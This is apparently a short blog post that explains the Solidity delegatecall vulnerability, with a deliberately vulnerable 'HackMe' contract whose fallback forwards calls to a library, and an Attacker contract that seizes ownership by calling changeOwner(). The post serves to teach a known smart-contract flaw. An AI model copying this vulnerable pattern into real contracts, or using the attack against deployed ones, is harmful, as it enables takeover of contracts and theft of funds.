This is a very simple and rare vulnerability which we might never see in real-world. But let's take a sneak-peak anyway.
Let's understand how delegate call works.
contract_A has a function which delegate calls contract_B. When that function is called, state of contract_A is changed after successful execution of code in contract_B.
Consider the following:
contract HackMe {
address public owner;
Lib _libContract;
constructor(address _lib) {
owner = msg.sender;
_libContract = Lib(_lib);
}
fallback() external payable {
address(_libContract).delegatecall(msg.data);
}
}
contract Lib {
address public owner;
function changeOwner() external {
owner = msg.sender;
}
}
If you are clear with delegate call, you might have seen the problem above. If not, no worries keep reading...
How HackMe can be hacked to change owner variable?
- If an attacker calls
changeOwner()
function in HackMe , this will trigger the fallback function (because there is nochangeOwner()
in HackMe). - fallback function delegate calls Lib contract calling
msg.data
which ischangeOwner()
- this will call
changeOwner()
in Lib which will changeowner
(in HackMe) tomsg.sender
(i.e attacker address).
See the following contract:
contract Attacker {
address hackMe;
constructor(address _hackMe) {
hackMe = _hackMe;
}
function attack() external {
hackMe.call(abi.encodeWithSignature("changeOwner()"));
}
}
Top comments (0)